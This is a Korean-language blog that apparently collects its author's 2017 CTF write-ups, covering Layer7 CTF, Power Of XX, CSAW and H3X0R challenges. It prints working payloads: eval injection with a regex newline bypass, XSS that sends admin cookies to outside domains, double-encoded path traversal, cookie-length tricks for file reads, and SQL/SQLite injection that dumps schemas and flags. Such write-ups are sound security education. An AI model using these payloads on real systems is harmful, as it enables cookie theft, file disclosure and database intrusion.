2017년 10월 26일 목요일

2017 Layer7 CTF Write ups


매년 열리는 Layer7 CTF, 올해 Layer7 부원이 된 나는 
2017 Layer7 CTF 문제 출제를 맡아 대회 운영을 하게 되었다.

나는 Eval injection 1개, XSS 2개 이렇게 웹 문제 총 3개를 준비했으며
문제 아이디어는 공식 레퍼런스에 올라온 함수 예제 댓글에서 취약점을 찾아서
준비한 문제 하나와, 평소에 공부하며 발견했던 버그를 오마주했다.

- Can you bypass me? - Regexp bypass, Wild card, Eval injection
- Daniel's daily life blog - XSS via BBcode bypass
- Present - Javascript challenge (XSS)

Can you bypass me?





















언뜻 보면 공격이 불가능해 보이지만
preg_match의 정규식에서 /i 옵션만 주었기 때문에 개행으로 우회가 가능하다.

payload : ?eval=echo%20`cat%20flagflagflagflag.*%0a`;

이것을 막으려면 /s 옵션을 써주면 된다.


Daniel's daily life


BBcode에서 double quote를 치환해주지 않았기 때문에 escape가 가능하다.
[img]x" onerroorr=location.href="http://mydomain.com/?"+document.cookie[/img]
위와 같이 페이로드를 작성해서 어드민의 쿠키를 가져오면 된다.


present (XSS)

XSS 문제다.

contents=http://localhost/forward.php?);//*///*\=]=1;location.href="http://munsiwoo.kr/?"%252bdocument.cookie;}initialize();function%20a(){/*

위와 같이 공격이 가능하며, 어드민의 쿠키를 가져오면 된다.


2017년 10월 20일 금요일

[Power Of XX 2017] Write-ups

# Power Of XX 2017

PoC에서 주최하는 Power Of XX CTF 문제를 올해 Layer7에서 출제하게 되었다.
내가 출제한 문제는 Basic Web, sqlgame 이렇게 두 문제다.
난이도는 둘다 매우 쉽게 만들었다.

1. Basic Web (LFI + BSQLi) - Solvers : 5


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/basic_web


















exploit code :
https://github.com/munsiwoo/problems/blob/master/power_of_xx_2017/basic_web/exploit.py

2. sqlgame (SQLi) -  - Solvers : 9


github
https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/sqlgame

















1+union+select+0x303037,1,1%23'+union+select+1,0x62616e67,schema()%23"+union+select+1,2,'007'%23

2017년 9월 20일 수요일

CSAW CTF 2017 - orange v1










1. Url encoding twice.

%2e%2e → %252e%252e

http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt
http://web.chal.csaw.io:7311/?path=%252e%2e/flag.txt


2. NodeJS unicode processing failure trick

%ef%bc%ae == %2e (True)

http://web.chal.csaw.io:7311/?path=%ef%bc%ae%2e/flag.txt
http://web.chal.csaw.io:7311/?path=%ef%bc%ae%252e/flag.txt


flag{thank_you_based_orange_for_this_ctf_challenge}






2017년 8월 4일 금요일

H3X0R CTF3 - misulgwan (100pt)

WEB - misulgwan (100pt)

made by munsiwoo



워밍업 문제 다음으로 많이 풀어주신 문제다.
php를 조금이라도 알고 있다면 쉽게 풀 수 있다.

(작품은 모두 본인이 그렸다)


 view-source



 /misulgwan/view.php?view-source



설명

$_GET['image']와 $_COOKIE['length']가 있다면
$_GET['image']의 확장자 검사를 한다.

png, jpg, bmp가 아니라면 no hack을 띄우는데
여기서 ?image=abcde.php.jpg
이렇게 하고 쿠키 length를 9로 주면
확장자 검사는 통과하고 fopen으로 여는 파일은 abcde.php가 된다.
(fpassthru는 파일 컨텐츠를 사용자에게 바로 출력해주는 함수다)

view.php에 flag is in the flag.php라고 적혀있으니
flag.php를 fopen으로 열어서 fpassthru 출력 내용을 확인하면 된다.

payload
javascript:document.cookie="length=11"
/misulgwan/view.php?image=../flag.php.png



flag : H3X0R{munhwabaek_is_back}



H3X0R CTF3 - is this possible? (1000pt)

WEB - is this possible? (1000pt)

made by munsiwoo




?go=id

풀이

go라는 테이블에 위의 순서대로 레코드가 담겨있다.
문제의 핵심은 필터 키워드를 사용하지 않고 레코드의 순서를 바꾸는 것이다.

순서를 바꾸는 방법은 여러 가지가 있는데
출제자가 의도했던 풀이 방법은 ord(), crc32(), sha1()와 같은 함수를 사용하여
기존의 레코드를 다른 값으로 바꿔서 순서를 바꾸는 것이었다.

ex) crc32("admin") == 2282622326
crc32(crc32("admin")) == 2979564489
sha1("admin") == d033e22ae348aeb5660fc2140aec35850c4da997
ord("a") == 97
ord(ord(ord("a"))) == 53

위와 같이 함수 안에 함수를 넣는 방법으로 레코드를 계속해서 바꿀 수도 있다.
이렇게 레코드값을 바꾸는 방법으로 순서를 바꿀 수 있다.

두 번째 if문은 == 연산자로 비교하므로 쉽게 우회할 수 있다.
ex) (int)19990301 == 19990301abcdef (True)
(int)19990301 == 19990301.00 (True)

payload1 (munsiwoo)
?go=crc32(crc32(crc32(crc32(id))))&foo=19990301abcdef

payload2 (adm1nkyj)
?go=(case/**/when/**/((hex(id)-6775657374)*(id-20010609)*(id-19970101))/**/then/**/id/**/else/**/0/**/end)&foo=19990301.00


flag : H3X0R{03c7c0ace30182db0795ae2c30f03d84}




2017년 8월 3일 목요일

H3X0R CTF3 - sihpc (1000pt)

WEB - sihpc (1000pt)

made by munsiwoo




(프로그래밍 대회 컨셉)


설명
우선 문제 설명의 "flag is in the db"와 힌트의 "sqlite"로
sqlite injection 이란걸 추측할 수 있다.
원래 sqlite라는 힌트가 없었지만 풀이자가 적어서 추가했다.
처음 힌트는 query error로 sqlite인걸 알 수 있게 해놨다가
다시 수정해서 그냥 hint에 sqlite를 써놨다.

출제자가 의도한건 comment로 dbms를 판별하여
그 dbms에 맞게 인젝션하는 것 이었다.

풀이
가입 후 로그인을 하면 로그인 세션과 uname이란 쿠키가 생성된다.
uname은 ID를 base64 -> hex -> base64 -> hex 순으로 인코딩 한 것이다.
"admin"을 base64 -> hex -> base64 -> hex 순으로 인코딩하면
admin으로 로그인이 가능하다.
(uname=4e546b314e7a55794e7a51324d5455334d7a517a5a413d3d)

* 사이트의 관리자 권한을 얻으면 문의 관리가 가능하다.

이제, SQL Injection 취약점을 찾으면 되는데
문의 페이지의 이메일 부분에서 SQL Injection 취약점이 발생한다.
인젝션 포인트 : insert into table_name values ('ip', '[여기]', 'contents');

hint에서 dbms가 sqlite인걸 알았으니 dbms에 알맞게 인젝션해주면 된다.

 * mysql는 information_schema에 스키마 정보를 담고있지만
sqlite는 sqlite_master에 모든 정보를 담고있다.

(sqlite_master 구조)


', (select group_concat(sql) from sqlite_master));
(문의 페이지)


iamFLAG 테이블, flag 필드 확인
(문의 관리 페이지)


'; (select flag from iamFLAG limit 1));
(문의 페이지)


(문의 관리 페이지)



payload
테이블, 필트명 확인 : ', (select group_concat(sql) from sqlite_master));
플래그 : ', (select flag from iamFLAG limit 1));

FLAG : H3X0R{mY_NamE-IS_MUNSIWOO}